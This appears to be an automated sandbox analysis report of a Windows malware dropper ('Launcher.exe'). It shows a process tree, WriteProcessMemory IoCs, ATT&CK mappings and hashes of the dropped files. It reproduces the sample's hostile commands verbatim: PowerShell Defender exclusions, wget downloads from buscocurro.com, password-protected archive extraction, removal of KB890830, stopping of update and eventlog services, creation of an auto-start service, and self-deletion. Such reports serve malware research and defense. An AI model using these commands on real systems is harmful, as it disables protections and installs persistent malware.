Token: SeProfSingleProcessPrivilege	404	powershell.exe
Token: SeIncBasePriorityPrivilege	404	powershell.exe
Token: SeCreatePagefilePrivilege	404	powershell.exe
Token: SeBackupPrivilege	404	powershell.exe
Token: SeRestorePrivilege	404	powershell.exe
Token: SeShutdownPrivilege	404	powershell.exe
Token: SeDebugPrivilege	404	powershell.exe
Token: SeSystemEnvironmentPrivilege	404	powershell.exe
Token: SeRemoteShutdownPrivilege	404	powershell.exe
Token: SeUndockPrivilege	404	powershell.exe
Token: SeManageVolumePrivilege	404	powershell.exe
Token: 33	404	powershell.exe
Token: 34	404	powershell.exe
Token: 35	404	powershell.exe
Token: 36	404	powershell.exe
Token: SeShutdownPrivilege	3032	powercfg.exe
Token: SeCreatePagefilePrivilege	3032	powercfg.exe
Token: SeShutdownPrivilege	4624	powercfg.exe
Token: SeCreatePagefilePrivilege	4624	powercfg.exe
Token: SeShutdownPrivilege	2040	powercfg.exe
Token: SeCreatePagefilePrivilege	2040	powercfg.exe
Token: SeShutdownPrivilege	164	powercfg.exe
Token: SeCreatePagefilePrivilege	164	powercfg.exe
Token: SeDebugPrivilege	748	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	748	powershell.exe
Token: SeIncreaseQuotaPrivilege	748	powershell.exe
Token: SeSecurityPrivilege	748	powershell.exe
Token: SeTakeOwnershipPrivilege	748	powershell.exe
Token: SeLoadDriverPrivilege	748	powershell.exe
Token: SeSystemtimePrivilege	748	powershell.exe
Token: SeBackupPrivilege	748	powershell.exe
Token: SeRestorePrivilege	748	powershell.exe
Token: SeShutdownPrivilege	748	powershell.exe
Token: SeSystemEnvironmentPrivilege	748	powershell.exe
Token: SeUndockPrivilege	748	powershell.exe
Token: SeManageVolumePrivilege	748	powershell.exe
Token: SeLockMemoryPrivilege	1044	dwm.exe
Token: SeShutdownPrivilege	1472	powercfg.exe
Token: SeCreatePagefilePrivilege	1472	powercfg.exe
Token: SeShutdownPrivilege	3036	powercfg.exe
Token: SeCreatePagefilePrivilege	3036	powercfg.exe
Token: SeShutdownPrivilege	1312	powercfg.exe
Token: SeCreatePagefilePrivilege	1312	powercfg.exe
Token: SeShutdownPrivilege	4720	powercfg.exe
Token: SeCreatePagefilePrivilege	4720	powercfg.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
2500	wget.exe
1588	winrar.exe
1588	winrar.exe
2032	wget.exe
512	winrar.exe
512	winrar.exe
4040	wget.exe
4056	winrar.exe
4056	winrar.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2524 wrote to memory of 1400	2524	Launcher.exe	74
PID 2524 wrote to memory of 1400	2524	Launcher.exe	74
PID 2524 wrote to memory of 1400	2524	Launcher.exe	74
PID 2524 wrote to memory of 1400	2524	Launcher.exe	74
PID 2524 wrote to memory of 1400	2524	Launcher.exe	74
PID 1400 wrote to memory of 4292	1400	Launhcer.exe	75
PID 1400 wrote to memory of 4292	1400	Launhcer.exe	75
PID 1400 wrote to memory of 4292	1400	Launhcer.exe	75
PID 4292 wrote to memory of 816	4292	powershell.exe	77
PID 4292 wrote to memory of 816	4292	powershell.exe	77
PID 4292 wrote to memory of 816	4292	powershell.exe	77
PID 4292 wrote to memory of 816	4292	powershell.exe	77
PID 4292 wrote to memory of 816	4292	powershell.exe	77
PID 816 wrote to memory of 4584	816	Launcher.exe	78
PID 816 wrote to memory of 4584	816	Launcher.exe	78
PID 816 wrote to memory of 4584	816	Launcher.exe	78
PID 816 wrote to memory of 2500	816	Launcher.exe	80
PID 816 wrote to memory of 2500	816	Launcher.exe	80
PID 816 wrote to memory of 2500	816	Launcher.exe	80
PID 816 wrote to memory of 1588	816	Launcher.exe	82
PID 816 wrote to memory of 1588	816	Launcher.exe	82
PID 816 wrote to memory of 1588	816	Launcher.exe	82
PID 816 wrote to memory of 4120	816	Launcher.exe	83
PID 816 wrote to memory of 4120	816	Launcher.exe	83
PID 816 wrote to memory of 4120	816	Launcher.exe	83
PID 816 wrote to memory of 2032	816	Launcher.exe	84
PID 816 wrote to memory of 2032	816	Launcher.exe	84
PID 816 wrote to memory of 2032	816	Launcher.exe	84
PID 4120 wrote to memory of 1772	4120	rhjryjyj.exe	86
PID 4120 wrote to memory of 1772	4120	rhjryjyj.exe	86
PID 4120 wrote to memory of 1772	4120	rhjryjyj.exe	86
PID 4120 wrote to memory of 1772	4120	rhjryjyj.exe	86
PID 4120 wrote to memory of 1772	4120	rhjryjyj.exe	86
PID 816 wrote to memory of 512	816	Launcher.exe	89
PID 816 wrote to memory of 512	816	Launcher.exe	89
PID 816 wrote to memory of 512	816	Launcher.exe	89
PID 816 wrote to memory of 304	816	Launcher.exe	90
PID 816 wrote to memory of 304	816	Launcher.exe	90
PID 816 wrote to memory of 4040	816	Launcher.exe	91
PID 816 wrote to memory of 4040	816	Launcher.exe	91
PID 816 wrote to memory of 4040	816	Launcher.exe	91
PID 816 wrote to memory of 4056	816	Launcher.exe	93
PID 816 wrote to memory of 4056	816	Launcher.exe	93
PID 816 wrote to memory of 4056	816	Launcher.exe	93
PID 816 wrote to memory of 1256	816	Launcher.exe	94
PID 816 wrote to memory of 1256	816	Launcher.exe	94
PID 816 wrote to memory of 1256	816	Launcher.exe	94
PID 816 wrote to memory of 852	816	Launcher.exe	106
PID 816 wrote to memory of 852	816	Launcher.exe	106
PID 816 wrote to memory of 852	816	Launcher.exe	106
PID 4464 wrote to memory of 436	4464	cmd.exe	114
PID 4464 wrote to memory of 436	4464	cmd.exe	114
PID 1184 wrote to memory of 2500	1184	cmd.exe	145
PID 1184 wrote to memory of 2500	1184	cmd.exe	145
PID 3504 wrote to memory of 2896	3504	kuytqawknxye.exe	158
PID 3504 wrote to memory of 2896	3504	kuytqawknxye.exe	158
PID 3504 wrote to memory of 2896	3504	kuytqawknxye.exe	158
PID 3504 wrote to memory of 2896	3504	kuytqawknxye.exe	158
PID 3504 wrote to memory of 2896	3504	kuytqawknxye.exe	158
PID 3504 wrote to memory of 2896	3504	kuytqawknxye.exe	158
PID 3504 wrote to memory of 2896	3504	kuytqawknxye.exe	158
PID 3504 wrote to memory of 2896	3504	kuytqawknxye.exe	158
PID 3504 wrote to memory of 2896	3504	kuytqawknxye.exe	158
PID 3504 wrote to memory of 1044	3504	kuytqawknxye.exe	163

c:\windows\system32\sihost.exe
sihost.exe
1⤵
PID:2964
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1772

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
1⤵
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
  "C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4292
  - - C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
      "C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:816
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4584
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:2500
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01*.* "1\*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:1588
    - - C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe
        
        "C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4120
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 604
        6⤵
        Program crash
        
        PID:3296
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:2032
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:512
    - - C:\Users\Admin\AppData\Roaming\services\2plugin27724
        
        C:\Users\Admin\AppData\Roaming\services\2plugin27724
        5⤵
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:304
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:404
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4464
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:436
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:2108
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:4156
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:5060
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:3704
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:4724
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4624
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:164
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:3032
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2040
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "OZLCSUZD"
        6⤵
        Launches sc.exe
        
        PID:1468
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "OZLCSUZD" binpath= "C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:4084
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:4676
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "OZLCSUZD"
        6⤵
        Launches sc.exe
        
        PID:4264
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:4040
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:4056
    - - C:\Users\Admin\AppData\Roaming\services\3plugin29563
        
        C:\Users\Admin\AppData\Roaming\services\3plugin29563
        5⤵
        Drops file in Windows directory
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1256
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 760
        6⤵
        Program crash
        
        PID:3556
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 812
        6⤵
        Program crash
        
        PID:3500
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 912
        6⤵
        Program crash
        
        PID:436
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 792
        6⤵
        Program crash
        
        PID:1648
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 932
        6⤵
        Program crash
        
        PID:1340
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 936
        6⤵
        Program crash
        
        PID:3704
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 1144
        6⤵
        Program crash
        
        PID:4260
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 1172
        6⤵
        Program crash
        
        PID:696
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 1136
        6⤵
        Program crash
        
        PID:1396
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:852

C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
1⤵
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3504
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2500
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4464
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1388
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4716
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2844
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1924
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1472
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1312
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4720
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3036
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2896
- C:\Windows\system32\dwm.exe
  dwm.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 45KB
SHA256 91ac15f1f176f74f02ce89ecdc443d8e33e0064c7bc69a87c7b2da145449d586
MD5 c2d06c11dd1f1a8b1dedc1a311ca8cdc
SHA1 75c07243f9cb80a9c7aed2865f9c5192cc920e7e
SHA512 db00860292c3e7430b1534f459c2f0f9778df3a94c51d622dcf1cde390a5539bdc6d60a0d41e6f1ed99a989f17ecb109abd4c17faac4cd398945536f1d0ebb4d
SSDEEP 768:P+f+jH0ytAHkNpFqRSNHWrxZNefVfrRJPFfYoVV3IpNBQkj2i+2lAKTFwhu9zUpS:P+f+jH0ytAHkjNWrxZNefVflJdfYoVVg
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 4d464630ac943e9bd99fac9894a99d1f5674363074550b6ecaad73fcb8e0b7b6
MD5 79895ec0dcfc391df126a960a9487635
SHA1 05db804b084dc65c4eb926d0979429ea328ec881
SHA512 7435da3fe431671d78eaeaa5deffc121d0d07bab6381f0af2a1f08978615e0535f9b9916345a26087016221cf28d2f87d00165ddbeae557b41756822fb96144b
SSDEEP 384:/2bPtPaabanKrOCHrKTM4UkHcfEzT06hVlC9pUJyc8vCscA8Q:+rViKt2/UkH4jIw6ybtcxQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_5s3xjdeu.aq0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5s3xjdeu.aq0.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

version.dat

Path C:\Users\Admin\AppData\Roaming\WinRAR\version.dat
Size 12B
SHA256 fad7dc8fdcd0266e59ed1dfd095e2347b8d9a94c57e62093b4f631ad7acb1ff8
MD5 9c7ddeb62266b4e1c6ad5370ccc76c26
SHA1 9ec35ddee9b6c45606363b450a2fced6f684c2bb
SHA512 6d56e383b6616c787296f3b93ad3c2ba9af386584cb36c48884f0432ada7de38e2721957f2d30e0298200414d6b1ba28f17fdd8fd539ea755df830c0fa534b45
MD5 SHA1 SHA512

Submit Download

0127871.rar

Path C:\Users\Admin\AppData\Roaming\services\0127871.rar
Size 2.9MB
SHA256 262bc2b98e4579e3c97376b9f8b7c12f56b0cc75519914057a44b8fc580ded6c
MD5 3ba7655d55f35256e14307d9ab7f560c
SHA1 b5d14e76f894b643860e69f5a2d9308d4b0c1fcb
SHA512 a73cda3b1d2cbb1cd7f320ee8b31659d2890a958392ef2ce83eacd320357d095680e160bc25efecd82726d541ce38bdc623a4ee75301fbe76e58b96aaab8dc2b
SSDEEP 49152:QQ0byjnoUtSsNLCoHzdtC8DfFTE894eYR65NUzYiC0IpimYZu9+8X2npV0Qy:oucU02WoHtDdTEq4iUa0IMru48X2n/0J
MD5 SHA1 SHA512 SSDEEP

Submit Download

02plugins23208.rar

Path C:\Users\Admin\AppData\Roaming\services\02plugins23208.rar
Size 9.6MB
SHA256 da6879957bd50c9fb45a0bed227f521f2398f65dc1a31904a494ec764d3759d3
MD5 557b45a8dfe391ada925b428815343a7
SHA1 4cee18d01e3a1e3dfbce90a38b9f2687bdb73e90
SHA512 42efc37605923263fa5a215c645e56fcc998c4ee5a24e3086911e23ba55f90162ec3be5f908e0ac065c697bd5d3dc4aceb460fa4aa19cea9999db2708ba75bbd
SSDEEP 196608:+r1H+WUpPZkSLf+ExdgDpIEksvo/nvugTENIB+rfek+lVWSWm9VNGatDPnMbYQZv:mbUVjf+QyDpfvO2gTENzfe78qpGEDPnc
MD5 SHA1 SHA512 SSDEEP

Submit Download

03plugins10863.rar

Path C:\Users\Admin\AppData\Roaming\services\03plugins10863.rar
Size 2.9MB
SHA256 64cb56c7af6ec8628a343e0e1d47e52f9353aae5835f243d177577d7a3ccd05c
MD5 e8891a8b9d48c36ace38613a3ee58e65
SHA1 45b5010846dc9386c57f6a0f3715af951683b0be
SHA512 9ec8424ba8d8773d581dd95dc4f70ad9ed529e4640f6061ad8a668966124ee39d734466bf14210d71afdd773c98302e490a47ac89dde1fa6ad1981baf00aa0a4
SSDEEP 49152:DAWCEbX2E1Gsvv0i1aziVpQXX4G31FW6nFTgw7q0nn0sa0zHZ9R1TAj+9UigyV9J:DMJsrs4zsosFsw7F0sP/RJ0+SyVTyueE
MD5 SHA1 SHA512 SSDEEP

Submit Download

rhjryjyj.exe

Path C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe
Size 467KB
SHA256 0f5978c1e5026feea6e28485ceb99b48105d73a77517faf40c1e57d638a5cdd4
MD5 ab2d2914e268ac8754e408bdd6c109cd
SHA1 936a1529158b699ebfaf97e937f17936d321920c
SHA512 c421cb6c41640e1866b891c941151903ad51e04a437b6d90faa6c732f2e98ef4172631453f9a60dcd8c0e4ffd39ec8c13277961c06a4119b10aff91037318fcf
SSDEEP 12288:B67J/HG/VFbEB46/qW7MzwwQsWWejzl1OplmA39:B69tlCWM8wQsWW2FA39
MD5 SHA1 SHA512 SSDEEP

Submit Download

2plugin27724

Path C:\Users\Admin\AppData\Roaming\services\2plugin27724
Size 7.2MB
SHA256 d782048432be8fe4ce0fbcaaf54724202ac39a293c2a6ae5cda2c7f04aa2c967
MD5 59dd26d0a0781afb903b222a340a135a
SHA1 dc7eb315e84f9e828376d5421108685d997099aa
SHA512 e4baf948f1023fc04aa9344ed0bde468566a429c4807f584204a6de95113de78dd2faaedad56e064f3023510fe774386a844becd0f9453d53884e31d4b345ed1
SSDEEP 98304:kzlljNjOUyKRizCBM8X6YmHyYZ9IVM/cskKzmL6jXU4x/So6NmgrmtW+VOh+ArVt:kz1CP7n8Xjm4G7D/SoVftM+A7BR
MD5 SHA1 SHA512 SSDEEP

Submit Download

3plugin29563

Path C:\Users\Admin\AppData\Roaming\services\3plugin29563
Size 399KB
SHA256 059701aa60117a1adc3c7fbaed00f05e72c97b28bcbd2456805dd6531654d970
MD5 5886235e78709ba971a3b4cdfdc336ee
SHA1 856e9688e3e087489d6d4ef02b7317d3cbc1fff7
SHA512 0699b612c13187f89e71b0008221dddab30c3adaef353c21b40fda72f2487eea874f2475f6e9a9a5a23855f20548dae537fa97fcbeabfc1f266f5219dacdb244
SSDEEP 6144:mEI/n4oC5FTJdykBfGimmDkEu8mvjm4dZA2RAIw0pJ39tmHOI9zOJ0oJ:mEI/n4J5cO+immPWAypJ39t69I
MD5 SHA1 SHA512 SSDEEP

Submit Download

Launhcer.dll

Path C:\Users\Admin\AppData\Roaming\services\Launhcer.dll
Size 3KB
SHA256 f15ae3d7b9d5310f53939148cf8fe58c8078086e934628ad2c3a611a59181e36
MD5 6cced0a38b185030835bf8857633c159
SHA1 4f1604d5e67894fb6b054f8ac82122fa8ad69ed6
SHA512 576c4e937b13050ca408445242db266e43c02dc1ec8ea567994594bd624c276bb20c46b94cf54cfe1ac36091bb4cf9959df1403b4838ab15fa10c75f119e18cc
MD5 SHA1 SHA512

Submit Download

Launhcer.exe

Path C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
Size 364KB
SHA256 542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903
MD5 e5c00b0bc45281666afd14eef04252b2
SHA1 3b6eecf8250e88169976a5f866d15c60ee66b758
SHA512 2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387
SSDEEP 6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75
MD5 SHA1 SHA512 SSDEEP

Submit Download

Launhcer.exe.manifest

Path C:\Users\Admin\AppData\Roaming\services\Launhcer.exe.manifest
Size 1KB
SHA256 d6e1c130f3c31258b4f6ff2e5d67bb838b65281af397a11d7eb35a7313993693
MD5 f0fc065f7fd974b42093594a58a4baef
SHA1 dbf28dd15d4aa338014c9e508a880e893c548d00
SHA512 8bd26de4f9b8e7b6fe9c42f44b548121d033f27272f1da4c340f81aa5642adc17bb9b092ece12bb8515460b9c432bf3b3b7b70f87d4beb6c491d3d0dfb5b71fe
MD5 SHA1 SHA512

Submit Download

Launcher.dll

Path C:\Users\Admin\AppData\Roaming\services\data\Launcher.dll
Size 6KB
SHA256 91436d2eb99775eef9b6e543c089794f851d750924d3aaede3627623fd0a7f2e
MD5 6e7b8b4200d14198c2a6c2c7617a78db
SHA1 b4d87db35a6cb1630a78e50939317f7c68a5303d
SHA512 72aaa8307509aa26782e3954511f0d6306c9cffce312566b91036f173cd763f2d621f907cc3646cb0c0881ef066b7ec10d784eeb4c47c732812bb3eb3ddeb99d
SSDEEP 192:+8FORePdnuJmiDo40PMZ21E70j+oitcoU8:ZORE2kjkAhjFD8
MD5 SHA1 SHA512 SSDEEP

Submit Download

Launcher.exe

Path C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
Size 364KB
SHA256 fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03
MD5 93fde4e38a84c83af842f73b176ab8dc
SHA1 e8c55cc160a0a94e404f544b22e38511b9d71da8
SHA512 48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec
